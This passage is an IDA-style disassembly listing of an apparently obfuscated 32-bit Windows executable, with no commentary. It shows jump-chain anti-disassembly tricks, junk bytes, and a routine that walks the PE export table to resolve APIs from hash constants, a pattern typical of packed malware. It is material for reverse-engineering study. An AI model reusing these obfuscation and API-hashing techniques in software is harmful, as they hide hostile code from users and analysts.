0FCh, 85h db 0DAh ; --------------------------------------------------------------------------- loc_405A7D: ; CODE XREF: sub_405A52:loc_405A8Ej jmp short loc_405AAD ; --------------------------------------------------------------------------- db 0Bh dd 0E7A601E8h, 83323D94h, 0DF7E3900h ; --------------------------------------------------------------------------- sub al, 0F5h loc_405A8E: ; CODE XREF: sub_405A52:loc_405A5Cj jmp short loc_405A7D ; --------------------------------------------------------------------------- dd 7118FB8Ah, 0ADC4D756h, 0A93073E2h, 655CCF2Eh, 0E148EB3Ah dd 1DF4C706h, 19606392h db 0DEh ; --------------------------------------------------------------------------- loc_405AAD: ; CODE XREF: sub_405A52:loc_405A7Dj and ebx, 7FFFFFFFh push edi push ebx xor edi, 80A39Ah push edx pop ebx clc push edi pop edi cmp al, 0D1h cmp al, 0DFh cld pop ebx pop edi push ebx push esi push ebx dec ebx neg ebx cld pop ebx pop esi push dword ptr [ebp-4] jmp short loc_405B00 ; --------------------------------------------------------------------------- db 0B6h, 0B7h, 24h ; --------------------------------------------------------------------------- loc_405AD8: ; CODE XREF: sub_405A52:loc_405B00j jmp short loc_405B13 ; --------------------------------------------------------------------------- lea eax, [edx+53h] nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- db 0A8h, 0C1h, 66h dd 0F2FD54A7h, 3EF9C043h, 4AB5EC9Fh, 1631D8BBh, 0A26D8497h dd 0EE69F033h ; --------------------------------------------------------------------------- loc_405B00: ; CODE XREF: sub_405A52+81j jmp short loc_405AD8 ; --------------------------------------------------------------------------- dw 1C8Fh dd 8ABFA25h, 0B487C6A1h, 202352DDh db 0D9h, 9Eh, 7Fh ; --------------------------------------------------------------------------- loc_405B13: ; CODE XREF: sub_405A52:loc_405AD8j push 1FC0EAEEh jmp short loc_405B46 ; --------------------------------------------------------------------------- dw 1302h dd 6F4E4950h db 7Ch ; --------------------------------------------------------------------------- loc_405B21: ; CODE XREF: sub_405A52:loc_405B46j jmp short loc_405B56 ; --------------------------------------------------------------------------- db 5 dd 81688B5Ah, 0BD146726h, 0B98003B2h, 75AC5FFEh, 0F1987B0Ah dd 2D4457D6h, 29B0F362h, 0E5DC4FAEh db 0BAh, 6Bh ; --------------------------------------------------------------------------- loc_405B46: ; CODE XREF: sub_405A52+C6j jmp short loc_405B21 ; --------------------------------------------------------------------------- dd 478661C8h db 74h, 9Dh ; --------------------------------------------------------------------------- loc_405B4E: ; CODE XREF: sub_405A52:loc_405B56j jmp short loc_405B7E ; --------------------------------------------------------------------------- dd 99E0E312h ; --------------------------------------------------------------------------- pop esi aas loc_405B56: ; CODE XREF: sub_405A52:loc_405B21j jmp short loc_405B4E ; --------------------------------------------------------------------------- or al, 55h push 5Bh clc sal dword ptr [esi], 1 loc_405B5F: ; CODE XREF: sub_405A52:loc_405B7Ej jmp short loc_405B8E ; --------------------------------------------------------------------------- db 37h, 0A4h, 0Dh ; --------------------------------------------------------------------------- retn 10D3h ; --------------------------------------------------------------------------- db 9 dd 0C53C2F0Eh, 41284B1Ah, 7DD427E6h, 7940C372h, 356C1FBEh db 0CAh, 3Bh ; --------------------------------------------------------------------------- loc_405B7E: ; CODE XREF: sub_405A52:loc_405B4Ej jmp short loc_405B5F ; --------------------------------------------------------------------------- pop eax mov cl, 96h pop ss add al, 0EDh and dh, [ebx+0F6EE970h] pushf movsd loc_405B8E: ; CODE XREF: sub_405A52:loc_405B5Fj push dword ptr [ebp+10h] jmp short loc_405BBD ; --------------------------------------------------------------------------- db 0A3h dd 0FF1E59A0h db 0CCh db 15h ; --------------------------------------------------------------------------- loc_405B9A: ; CODE XREF: sub_405A52:loc_405BBDj jmp short loc_405BCE ; --------------------------------------------------------------------------- dd 91B81B2Ah, 0CD64F7F6h, 0C9D09382h, 85FCEFCEh, 1E80BDAh dd 3D94E7A6h, 39008332h, 0F52CDF7Eh db 8Ah ; --------------------------------------------------------------------------- loc_405BBD: ; CODE XREF: sub_405A52+13Fj jmp short loc_405B9A ; --------------------------------------------------------------------------- db 0FBh dd 0D7567118h, 73E2ADC4h, 0CF2EA930h db 5Ch, 65h ; --------------------------------------------------------------------------- loc_405BCE: ; CODE XREF: sub_405A52:loc_405B9Aj call near ptr sub_4048A4 push edi push eax not edi cmp bh, dh or eax, 80C81Ah xor eax, ebx xor edi, ebp rep cld pop eax pop edi call eax jmp short loc_405C1B ; --------------------------------------------------------------------------- db 0C7h dd 63921DF4h db 60h, 19h ; --------------------------------------------------------------------------- loc_405BF2: ; CODE XREF: sub_405A52:loc_405C1Bj jmp short loc_405C32 ; --------------------------------------------------------------------------- fidivr word ptr [edi-24152A74h] js short loc_405C4D mov dh, 0B7h and al, 8Dh inc edx push ebx nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- dw 0C1A8h dd 0FD54A766h, 0F9C043F2h, 0B5EC9F3Eh db 4Ah, 0BBh, 0D8h ; --------------------------------------------------------------------------- loc_405C1B: ; CODE XREF: sub_405A52+197j jmp short loc_405BF2 ; --------------------------------------------------------------------------- xor [esi], edx xchg eax, edi test [ebp-5Eh], ch xor esi, eax imul ebp, esi, 0FA251C8Fh stosd or [ecx-224B783Ah], ah loc_405C32: ; CODE XREF: sub_405A52:loc_405BF2j pop ebx jmp short loc_405C5F ; --------------------------------------------------------------------------- db 9Eh, 7Fh, 4Ch dd 389BAA95h ; --------------------------------------------------------------------------- loc_405C3C: ; CODE XREF: sub_405A52:loc_405C5Fj jmp short loc_405C6F ; --------------------------------------------------------------------------- dw 7611h dd 24DE477h, 4E495013h, 5A057C6Fh db 8Bh ; --------------------------------------------------------------------------- loc_405C4D: ; CODE XREF: sub_405A52+1A8j push 14672681h mov ebp, 0B98003B2h ; --------------------------------------------------------------------------- db 0FEh dd 0A75AC5Fh db 7Bh, 98h, 0F1h ; --------------------------------------------------------------------------- loc_405C5F: ; CODE XREF: sub_405A52+1E1j jmp short loc_405C3C ; --------------------------------------------------------------------------- db 0D6h, 57h, 44h dd 0B0F3622Dh, 0DC4FAE29h db 0E5h, 0BAh, 6Bh ; --------------------------------------------------------------------------- loc_405C6F: ; CODE XREF: sub_405A52:loc_405C3Cj test eax, eax jnz loc_406292 jmp short loc_405CA9 ; --------------------------------------------------------------------------- db 47h, 74h, 9Dh dd 99E0E312h ; --------------------------------------------------------------------------- loc_405C80: ; CODE XREF: sub_405A52:loc_405CA9j jmp short loc_405CC0 ; --------------------------------------------------------------------------- dw 3F5Eh dd 5B6A550Ch, 3736D1F8h, 0D3C20DA4h, 2F0E0910h, 4B1AC53Ch dd 27E64128h, 0C3727DD4h, 1FBE7940h, 3BCA356Ch ; --------------------------------------------------------------------------- pop eax loc_405CA9: ; CODE XREF: sub_405A52+225j jmp short loc_405C80 ; --------------------------------------------------------------------------- db 0B1h dd 0ED041796h, 0E970B322h, 0A59C0F6Eh, 21882B7Ah, 5D340746h ; --------------------------------------------------------------------------- loc_405CC0: ; CODE XREF: sub_405A52:loc_405C80j test ebx, 80000000h jnz loc_405DCA jmp short loc_405CF8 ; --------------------------------------------------------------------------- dw 0FF1Eh db 0CCh db 15h, 2Ah, 1Bh db 0B8h ; --------------------------------------------------------------------------- loc_405CD5: ; CODE XREF: sub_405A52:loc_405CF8j jmp short loc_405D08 ; --------------------------------------------------------------------------- db 91h dd 0CD64F7F6h, 0C9D09382h, 85FCEFCEh, 1E80BDAh, 3D94E7A6h dd 39008332h, 0F52CDF7Eh, 7118FB8Ah ; --------------------------------------------------------------------------- loc_405CF8: ; CODE XREF: sub_405A52+27Aj jmp short loc_405CD5 ; --------------------------------------------------------------------------- dw 0D756h dd 73E2ADC4h, 0CF2EA930h, 0EB3A655Ch ; --------------------------------------------------------------------------- loc_405D08: ; CODE XREF: sub_405A52:loc_405CD5j push 95902B19h push edx push eax test cl, al dec edx cld pop eax pop edx push dword ptr [ebp+10h] jmp short loc_405D49 ; --------------------------------------------------------------------------- dw 6392h ; --------------------------------------------------------------------------- pusha loc_405D1D: ; CODE XREF: sub_405A52:loc_405D49j jmp short loc_405D63 ; --------------------------------------------------------------------------- db 19h dd 0D58CBFDEh, 5178DBEAh, 8D24B7B6h, 89905342h, 45BCAF8Eh dd 0C1A8CB9Ah, 0FD54A766h, 0F9C043F2h, 0B5EC9F3Eh, 31D8BB4Ah ; --------------------------------------------------------------------------- push ss loc_405D49: ; CODE XREF: sub_405A52+2C6j jmp short loc_405D1D ; --------------------------------------------------------------------------- db 97h dd 33A26D84h, 8FEE69F0h, 0ABFA251Ch, 87C6A108h, 2352DDB4h ; --------------------------------------------------------------------------- and cl, bl sahf loc_405D63: ; CODE XREF: sub_405A52:loc_405D1Dj call near ptr sub_4048A4 push ecx push edx mov edx, 8087DAh mov dx, 49A1h not ecx cld pop edx pop ecx push 0 jmp short loc_405DA9 ; --------------------------------------------------------------------------- db 38h, 11h, 76h ; --------------------------------------------------------------------------- loc_405D7F: ; CODE XREF: sub_405A52:loc_405DA9j jmp short loc_405DBC ; --------------------------------------------------------------------------- db 77h, 0E4h, 4Dh dd 49501302h, 57C6F4Eh, 81688B5Ah, 0BD146726h, 0B98003B2h dd 75AC5FFEh, 0F1987B0Ah, 2D4457D6h, 29B0F362h ; --------------------------------------------------------------------------- scasb loc_405DA9: ; CODE XREF: sub_405A52+328j jmp short loc_405D7F ; --------------------------------------------------------------------------- db 4Fh dd 6BBAE5DCh, 478661C8h, 0E3129D74h, 3F5E99E0h ; --------------------------------------------------------------------------- loc_405DBC: ; CODE XREF: sub_405A52:loc_405D7Fj call eax push eax push ebx cmp ah, al not eax xor eax, eax dec ebx cld pop ebx pop eax loc_405DCA: ; CODE XREF: sub_405A52+274j and ebx, 7FFFFFFFh jmp short loc_405DFC ; --------------------------------------------------------------------------- movsb or eax, 910D3C2h push cs loc_405DD9: ; CODE XREF: sub_405A52:loc_405DFCj jmp short loc_405E0C ; --------------------------------------------------------------------------- db 2Fh dd 4B1AC53Ch, 27E64128h, 0C3727DD4h, 1FBE7940h, 3BCA356Ch dd 1796B158h, 0B322ED04h, 0F6EE970h ; --------------------------------------------------------------------------- loc_405DFC: ; CODE XREF: sub_405A52+37Ej jmp short loc_405DD9 ; --------------------------------------------------------------------------- loc_405DFE: ; CODE XREF: sub_405A52:loc_405E0Cj jmp short loc_405E2F ; --------------------------------------------------------------------------- dd 2B7AA59Ch, 7462188h, 0A3D25D34h ; --------------------------------------------------------------------------- loc_405E0C: ; CODE XREF: sub_405A52:loc_405DD9j jmp short loc_405DFE ; --------------------------------------------------------------------------- dw 59A0h dd 15CCFF1Eh, 91B81B2Ah, 0CD64F7F6h, 0C9D09382h, 85FCEFCEh dd 1E80BDAh, 3D94E7A6h db 32h, 83h, 0 ; --------------------------------------------------------------------------- loc_405E2F: ; CODE XREF: sub_405A52:loc_405DFEj mov eax, [ebp+426h] push ebx push eax push ebx pop ebx clc cld pop eax pop ebx cmp [ebp-4], eax jnz loc_4060BC push ecx push ebx cmp al, 0E8h cmp al, 0FDh lea ecx, ds:808A9Ah repne cld pop ebx pop ecx push edi push esi push ebx test cl, al mov si, 48FDh lea esi, ds:81881Ah add esi, 808F5Ah mov si, 494Ah repne cld pop ebx pop esi mov edx, ebx push esi push eax shr esi, 0C8h cmp ah, ch test eax, ebp cmp esp, eax xor esi, eax cld pop eax pop esi dec edx jmp short loc_405EB1 ; --------------------------------------------------------------------------- db 30h, 0A9h, 2Eh ; --------------------------------------------------------------------------- loc_405E8B: ; CODE XREF: sub_405A52:loc_405EB1j jmp short loc_405EC4 ; --------------------------------------------------------------------------- db 0CFh, 5Ch, 65h dd 0E148EB3Ah, 1DF4C706h, 19606392h, 0D58CBFDEh, 5178DBEAh dd 8D24B7B6h, 89905342h, 45BCAF8Eh db 9Ah ; --------------------------------------------------------------------------- loc_405EB1: ; CODE XREF: sub_405A52+434j jmp short loc_405E8B ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- test al, 0C1h cmpsw loc_405EB8: ; CODE XREF: sub_405A52:loc_405EC4j jmp short loc_405EE7 ; --------------------------------------------------------------------------- dw 0FD54h dd 0F9C043F2h, 0B5EC9F3Eh ; --------------------------------------------------------------------------- loc_405EC4: ; CODE XREF: sub_405A52:loc_405E8Bj jmp short loc_405EB8 ; --------------------------------------------------------------------------- dw 0BB4Ah dd 971631D8h db 84h ; --------------------------------------------------------------------------- loc_405ECD: ; CODE XREF: sub_405A52:loc_405EE7j jmp short loc_405EFA ; --------------------------------------------------------------------------- db 6Dh dd 69F033A2h, 251C8FEEh, 0A108ABFAh, 0DDB487C6h, 0D9202352h ; --------------------------------------------------------------------------- sahf jg short loc_405F33 loc_405EE7: ; CODE XREF: sub_405A52:loc_405EB8j jmp short loc_405ECD ; --------------------------------------------------------------------------- db 95h, 0AAh, 9Bh dd 77761138h, 13024DE4h, 6F4E4950h ; --------------------------------------------------------------------------- jl short loc_405EFF loc_405EFA: ; CODE XREF: sub_405A52:loc_405ECDj shl edx, 2 push edx push ecx loc_405EFF: ; CODE XREF: sub_405A52+4A6j xchg ecx, edx mov dx, 48F6h ror edx, 4Ah test ecx, ebx cld pop ecx pop edx mov ebx, [ebp-4] jmp short loc_405F3B ; --------------------------------------------------------------------------- dw 0B980h db 0FEh ; --------------------------------------------------------------------------- loc_405F15: ; CODE XREF: sub_405A52:loc_405F33j ; sub_405A52:loc_405F3Bj jmp short loc_405F4E ; --------------------------------------------------------------------------- db 5Fh dd 7B0A75ACh, 57D6F198h, 0F3622D44h, 4FAE29B0h, 6BBAE5DCh dd 478661C8h db 74h, 9Dh, 12h ; --------------------------------------------------------------------------- loc_405F33: ; CODE XREF: sub_405A52+493j jecxz short loc_405F15 cdq pop esi aas or al, 55h ; --------------------------------------------------------------------------- db 6Ah ; --------------------------------------------------------------------------- loc_405F3B: ; CODE XREF: sub_405A52+4BEj jmp short loc_405F15 ; --------------------------------------------------------------------------- pop ebx clc sal dword ptr [esi], 1 aaa loc_405F42: ; CODE XREF: sub_405A52:loc_405F4Ej jmp short loc_405F71 ; --------------------------------------------------------------------------- movsb or eax, 910D3C2h push cs das cmp al, 0C5h loc_405F4E: ; CODE XREF: sub_405A52:loc_405F15j jmp short loc_405F42 ; --------------------------------------------------------------------------- dd 41284B1Ah db 0E6h, 27h, 0D4h ; --------------------------------------------------------------------------- loc_405F57: ; CODE XREF: sub_405A52:loc_405F71j jmp short loc_405F86 ; --------------------------------------------------------------------------- jge short loc_405FCD retn ; --------------------------------------------------------------------------- dd 1FBE7940h, 3BCA356Ch, 1796B158h, 0B322ED04h, 0F6EE970h ; --------------------------------------------------------------------------- pushf loc_405F71: ; CODE XREF: sub_405A52:loc_405F42j jmp short loc_405F57 ; --------------------------------------------------------------------------- db 0A5h dd 21882B7Ah, 5D340746h, 59A0A3D2h, 15CCFF1Eh ; --------------------------------------------------------------------------- sub bl, [ebx] loc_405F86: ; CODE XREF: sub_405A52:loc_405F57j mov edi, [ebx+3Ch] push ecx push edx xor edx, edi dec edx push edi pop edx neg edx xchg ecx, edx not edx cld pop edx pop ecx mov edi, [edi+ebx+78h] push eax push ecx push ebp pop eax neg ecx mov ax, 491Fh inc ecx loc_405FA8: ; CODE XREF: sub_405A52+575j push ecx pop eax cld pop ecx pop eax add ebx, [edi+ebx+1Ch] jmp short loc_405FDF ; --------------------------------------------------------------------------- db 0D0h dd 0FCEFCEC9h ; --------------------------------------------------------------------------- test ebx, edx loc_405FBA: ; CODE XREF: sub_405A52:loc_405FDFj jmp short loc_405FEF ; --------------------------------------------------------------------------- or ebp, eax add [esi+323D94E7h], esp add dword ptr [eax], 39h jle short loc_405FA8 sub al, 0F5h mov bh, bl loc_405FCD: ; CODE XREF: sub_405A52+507j sbb [ecx+56h], dh xlat les ebp, [ebp-56CF8C1Eh] db 2Eh iret ; --------------------------------------------------------------------------- db 5Ch, 65h, 3Ah ; --------------------------------------------------------------------------- jmp short loc_406026 ; --------------------------------------------------------------------------- db 0E1h ; --------------------------------------------------------------------------- loc_405FDF: ; CODE XREF: sub_405A52+55Fj jmp short loc_405FBA ; --------------------------------------------------------------------------- push es mov esp, 6063921Dh sbb esi, ebx mov edi, 0DBEAD58Ch loc_405FEF: ; CODE XREF: sub_405A52:loc_405FBAj mov eax, [edx+ebx] push edi push ecx shl ecx, 1Eh mov cx, 49AEh push edi pop edi mov ecx, esi cld pop ecx pop edi add eax, [ebp-4] jmp short loc_406035 ; --------------------------------------------------------------------------- db 53h db 90h db 89h, 8Eh, 0AFh db 0BCh, 45h ; --------------------------------------------------------------------------- loc_40600E: ; CODE XREF: sub_405A52:loc_406035j jmp short loc_406045 ; --------------------------------------------------------------------------- dd 0C1A8CB9Ah, 0FD54A766h, 0F9C043F2h, 0B5EC9F3Eh, 31D8BB4Ah db 16h, 97h ; --------------------------------------------------------------------------- loc_406026: ; CODE XREF: sub_405A52+58Aj test [ebp-5Eh], ch xor esi, eax imul ebp, esi, 0FA251C8Fh stosd ; --------------------------------------------------------------------------- dw 0A108h db 0C6h ; --------------------------------------------------------------------------- loc_406035: ; CODE XREF: sub_405A52+5B3j jmp short loc_40600E ; --------------------------------------------------------------------------- db 87h ; --------------------------------------------------------------------------- loc_406038: ; CODE XREF: sub_405A52:loc_406045j jmp short loc_406064 ; --------------------------------------------------------------------------- mov ah, 0DDh push edx and esp, [eax] fstp dword ptr [esi-556AB381h] loc_406045: ; CODE XREF: sub_405A52:loc_40600Ej jmp short loc_406038 ; --------------------------------------------------------------------------- db 9Bh dd 77761138h, 13024DE4h, 6F4E4950h, 8B5A057Ch, 67268168h dd 3B2BD14h, 5FFEB980h ; --------------------------------------------------------------------------- loc_406064: ; CODE XREF: sub_405A52:loc_406038j pop edi jmp short loc_406093 ; --------------------------------------------------------------------------- db 98h dd 4457D6F1h db 2Dh, 62h ; --------------------------------------------------------------------------- loc_40606E: ; CODE XREF: sub_405A52:loc_406093j jmp short loc_4060A3 ; --------------------------------------------------------------------------- dd 0AE29B0F3h, 0BAE5DC4Fh, 8661C86Bh, 129D7447h, 5E99E0E3h dd 6A550C3Fh, 36D1F85Bh, 0C20DA437h db 0D3h, 10h, 9 ; --------------------------------------------------------------------------- loc_406093: ; CODE XREF: sub_405A52+613j jmp short loc_40606E ; --------------------------------------------------------------------------- db 0Eh, 2Fh, 3Ch dd 284B1AC5h, 0D427E641h ; --------------------------------------------------------------------------- jge short locret_406114 retn ; --------------------------------------------------------------------------- loc_4060A3: ; CODE XREF: sub_405A52:loc_40606Ej jmp loc_406292 ; --------------------------------------------------------------------------- push ebx push eax shl ebx, 0FEh mov eax, 80A752h mov ebx, esp mov bx, 49A6h cld cld pop eax pop ebx loc_4060BC: ; CODE XREF: sub_405A52+3EEj push 95902B19h jmp short loc_4060F1 ; --------------------------------------------------------------------------- db 17h dd 0B322ED04h, 0F6EE970h, 2B7AA59Ch ; --------------------------------------------------------------------------- mov [ecx], ah loc_4060D2: ; CODE XREF: sub_405A52:loc_4060F1j jmp short loc_406101 ; --------------------------------------------------------------------------- dd 5D340746h, 59A0A3D2h, 15CCFF1Eh, 91B81B2Ah, 0CD64F7F6h dd 0C9D09382h, 85FCEFCEh db 0DAh ; --------------------------------------------------------------------------- loc_4060F1: ; CODE XREF: sub_405A52+66Fj jmp short loc_4060D2 ; --------------------------------------------------------------------------- db 0Bh db 0E8h, 1, 0A6h ; --------------------------------------------------------------------------- loc_4060F7: ; CODE XREF: sub_405A52:loc_406101j jmp short loc_406124 ; --------------------------------------------------------------------------- db 0E7h, 94h, 3Dh dd 39008332h db 7Eh ; --------------------------------------------------------------------------- loc_406101: ; CODE XREF: sub_405A52:loc_4060D2j jmp short loc_4060F7 ; --------------------------------------------------------------------------- db 0DFh ; --------------------------------------------------------------------------- loc_406104: ; CODE XREF: sub_405A52:loc_406124j jmp short loc_406134 ; --------------------------------------------------------------------------- sub al, 0F5h mov bh, bl sbb [ecx+56h], dh xlat les ebp, [ebp-56CF8C1Eh] locret_406114: ; CODE XREF: sub_405A52+64Ej db 2Eh iret ; --------------------------------------------------------------------------- dw 655Ch dd 0E148EB3Ah, 1DF4C706h, 19606392h ; --------------------------------------------------------------------------- loc_406124: ; CODE XREF: sub_405A52:loc_4060F7j jmp short loc_406104 ; --------------------------------------------------------------------------- fidivr word ptr [edi-24152A74h] js short loc_40617F mov dh, 0B7h and al, 8Dh inc edx push ebx loc_406134: ; CODE XREF: sub_405A52:loc_406104j push dword ptr [ebp+10h] push ebx push eax xchg eax, ebx dec ebx push edi pop ebx ror eax, 46h mov ebx, esp loc_406143: ; CODE XREF: sub_405A52+757j cmp al, 0CCh test eax, ebp inc eax cld pop eax pop ebx call near ptr sub_4048A4 jmp short loc_406181 ; --------------------------------------------------------------------------- dw 0C1A8h db 66h ; --------------------------------------------------------------------------- loc_406155: ; CODE XREF: sub_405A52:loc_406181j jmp short loc_406194 ; --------------------------------------------------------------------------- db 0A7h dd 43F2FD54h, 9F3EF9C0h, 0BB4AB5ECh, 971631D8h, 33A26D84h dd 8FEE69F0h, 0ABFA251Ch, 87C6A108h, 2352DDB4h ; --------------------------------------------------------------------------- and cl, bl sahf loc_40617F: ; CODE XREF: sub_405A52+6DAj jg short loc_4061CD loc_406181: ; CODE XREF: sub_405A52+6FEj jmp short loc_406155 ; --------------------------------------------------------------------------- db 95h dd 11389BAAh db 76h, 77h ; --------------------------------------------------------------------------- loc_40618A: ; CODE XREF: sub_405A52:loc_406194j jmp short loc_4061B7 ; --------------------------------------------------------------------------- dd 13024DE4h, 6F4E4950h ; --------------------------------------------------------------------------- loc_406194: ; CODE XREF: sub_405A52:loc_406155j jmp short loc_40618A ; --------------------------------------------------------------------------- dw 57Ch dd 81688B5Ah, 0BD146726h ; --------------------------------------------------------------------------- mov dl, 3 loc_4061A2: ; CODE XREF: sub_405A52+790j ; sub_405A52+78Dj cmp byte ptr [ecx+75AC5FFEh], 0Ah jnp short loc_406143 icebp setalc push edi inc esp sub eax, 29B0F362h scasb dec edi ; --------------------------------------------------------------------------- db 0DCh ; --------------------------------------------------------------------------- loc_4061B7: ; CODE XREF: sub_405A52:loc_40618Aj push 0 jmp short loc_4061E8 ; --------------------------------------------------------------------------- db 74h db 9Dh, 12h ; --------------------------------------------------------------------------- loc_4061BE: ; CODE XREF: sub_405A52:loc_4061E8j jmp short loc_4061FB ; --------------------------------------------------------------------------- dd 5E99E0E3h, 6A550C3Fh, 36D1F85Bh ; --------------------------------------------------------------------------- aaa loc_4061CD: ; CODE XREF: sub_405A52:loc_40617Fj movsb or eax, 910D3C2h push cs das cmp al, 0C5h sbb cl, [ebx+28h] inc ecx out 27h, al aam 7Dh jb short near ptr loc_4061A2+2 inc eax jns short loc_4061A2 pop ds insb ; --------------------------------------------------------------------------- dw 0CA35h ; --------------------------------------------------------------------------- loc_4061E8: ; CODE XREF: sub_405A52+767j jmp short loc_4061BE ; --------------------------------------------------------------------------- db 3Bh ; --------------------------------------------------------------------------- loc_4061EB: ; CODE XREF: sub_405A52:loc_4061FBj jmp short loc_406216 ; --------------------------------------------------------------------------- pop eax mov cl, 96h pop ss add al, 0EDh and dh, [ebx+0F6EE970h] pushf movsd loc_4061FB: ; CODE XREF: sub_405A52:loc_4061BEj jmp short loc_4061EB ; --------------------------------------------------------------------------- db 7Ah, 2Bh, 88h ; --------------------------------------------------------------------------- loc_406200: ; CODE XREF: sub_405A52:loc_406216j jmp short loc_406231 ; --------------------------------------------------------------------------- dw 4621h dd 0D25D3407h, 1E59A0A3h, 2A15CCFFh, 0F691B81Bh db 0F7h, 64h ; --------------------------------------------------------------------------- loc_406216: ; CODE XREF: sub_405A52:loc_4061EBj jmp short loc_406200 ; --------------------------------------------------------------------------- dd 0D09382CDh, 0FCEFCEC9h, 0E80BDA85h, 94E7A601h, 83323Dh dd 2CDF7E39h ; --------------------------------------------------------------------------- cmc loc_406231: ; CODE XREF: sub_405A52:loc_406200j call eax jmp short loc_40625F ; --------------------------------------------------------------------------- db 0C4h, 0ADh, 0E2h dd 2EA93073h ; --------------------------------------------------------------------------- loc_40623C: ; CODE XREF: sub_405A52:loc_40625Fj jmp short loc_40626F ; --------------------------------------------------------------------------- dw 5CCFh dd 48EB3A65h, 0F4C706E1h, 6063921Dh, 8CBFDE19h, 78DBEAD5h dd 24B7B651h, 9053428Dh db 89h, 8Eh, 0AFh ; --------------------------------------------------------------------------- loc_40625F: ; CODE XREF: sub_405A52+7E1j jmp short loc_40623C ; --------------------------------------------------------------------------- loc_406261: ; CODE XREF: sub_405A52:loc_40626Fj jmp short loc_406292 ; --------------------------------------------------------------------------- db 0BCh dd 0A8CB9A45h, 54A766C1h db 0FDh, 0F2h, 43h ; --------------------------------------------------------------------------- loc_40626F: ; CODE XREF: sub_405A52:loc_40623Cj ; sub_405A52+87Ej jmp short loc_406261 ; --------------------------------------------------------------------------- db 0C0h, 0F9h, 3Eh dd 4AB5EC9Fh, 1631D8BBh, 0A26D8497h, 0EE69F033h, 0FA251C8Fh dd 0C6A108ABh, 52DDB487h ; --------------------------------------------------------------------------- and esp, [eax] loc_406292: ; CODE XREF: sub_405A52+21Fj ; sub_405A52:loc_4060A3j ... mov [edi], eax jmp short loc_4062BF ; --------------------------------------------------------------------------- dw 1138h db 76h ; --------------------------------------------------------------------------- loc_406299: ; CODE XREF: sub_405A52:loc_4062BFj jmp short loc_4062D2 ; --------------------------------------------------------------------------- db 77h dd 13024DE4h, 6F4E4950h, 8B5A057Ch, 67268168h, 3B2BD14h dd 5FFEB980h, 7B0A75ACh, 57D6F198h db 44h, 2Dh, 62h ; --------------------------------------------------------------------------- loc_4062BF: ; CODE XREF: sub_405A52+842j jmp short loc_406299 ; --------------------------------------------------------------------------- db 0F3h, 0B0h, 29h ; --------------------------------------------------------------------------- scasb dec edi loc_4062C6: ; CODE XREF: sub_405A52:loc_4062D2j jmp short loc_4062F5 ; --------------------------------------------------------------------------- fsubr st(5), st mov edx, 8661C86Bh inc edi jz short loc_40626F loc_4062D2: ; CODE XREF: sub_405A52:loc_406299j jmp short loc_4062C6 ; --------------------------------------------------------------------------- dd 99E0E312h db 5Eh, 3Fh, 0Ch ; --------------------------------------------------------------------------- loc_4062DB: ; CODE XREF: sub_405A52:loc_4062F5j jmp short loc_406308 ; --------------------------------------------------------------------------- db 55h, 6Ah, 5Bh dd 3736D1F8h, 0D3C20DA4h, 2F0E0910h, 4B1AC53Ch, 27E64128h db 0D4h ; --------------------------------------------------------------------------- loc_4062F5: ; CODE XREF: sub_405A52:loc_4062C6j jmp short loc_4062DB ; --------------------------------------------------------------------------- jge short loc_40636B retn ; --------------------------------------------------------------------------- dw 7940h ; --------------------------------------------------------------------------- mov esi, 0CA356C1Fh cmp ebx, [eax-4Fh] xchg eax, esi pop ss add al, 0EDh loc_406308: ; CODE XREF: sub_405A52:loc_4062DBj add dword ptr [ebp-8], 4 jmp short loc_406330 ; --------------------------------------------------------------------------- dw 7AA5h dd 4621882Bh ; --------------------------------------------------------------------------- pop es loc_406315: ; CODE XREF: sub_405A52:loc_406330j jmp short loc_406347 ; --------------------------------------------------------------------------- db 34h dd 0A0A3D25Dh, 0CCFF1E59h, 0B81B2A15h, 64F7F691h, 0D09382CDh dd 0FCEFCEC9h ; --------------------------------------------------------------------------- loc_406330: ; CODE XREF: sub_405A52+8BAj jmp short loc_406315 ; --------------------------------------------------------------------------- test ebx, edx or ebp, eax loc_406336: ; CODE XREF: sub_405A52:loc_406347j jmp short loc_406366 ; --------------------------------------------------------------------------- dd 94E7A601h, 83323Dh, 2CDF7E39h ; --------------------------------------------------------------------------- cmc mov bh, bl loc_406347: ; CODE XREF: sub_405A52:loc_406315j jmp short loc_406336 ; --------------------------------------------------------------------------- db 18h, 71h, 56h dd 0E2ADC4D7h, 2EA93073h db 0CFh, 5Ch, 65h ; --------------------------------------------------------------------------- loc_406357: ; CODE XREF: sub_405A52:loc_406366j jmp short loc_406385 ; --------------------------------------------------------------------------- db 3Ah, 0EBh, 48h dd 0F4C706E1h, 6063921Dh ; --------------------------------------------------------------------------- sbb esi, ebx loc_406366: ; CODE XREF: sub_405A52:loc_406336j jmp short loc_406357 sub_405A52 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0BFh, 8Ch, 0D5h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_405A52 loc_40636B: ; CODE XREF: sub_405A52+8A5j jmp far ptr 24B7h:0B65178DBh ; END OF FUNCTION CHUNK FOR sub_405A52 ; --------------------------------------------------------------------------- dw 428Dh dd 8E899053h ; =============== S U B R O U T I N E ======================================= public start start proc near ; FUNCTION CHUNK AT 0040548F SIZE 00000019 BYTES ; FUNCTION CHUNK AT 004054AA SIZE 00000002 BYTES ; FUNCTION CHUNK AT 004054D8 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 004054DF SIZE 00000002 BYTES ; FUNCTION CHUNK AT 004054F3 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 0040550E SIZE 00000026 BYTES ; FUNCTION CHUNK AT 00405537 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00405557 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00405560 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00405567 SIZE 00000004 BYTES ; FUNCTION CHUNK AT 0040558E SIZE 00000002 BYTES ; FUNCTION CHUNK AT 0040559E SIZE 00000086 BYTES ; FUNCTION CHUNK AT 00405627 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 0040564D SIZE 00000002 BYTES ; FUNCTION CHUNK AT 004056AF SIZE 00000014 BYTES ; FUNCTION CHUNK AT 004056C6 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 004056EE SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00405701 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0040570D SIZE 00000002 BYTES ; 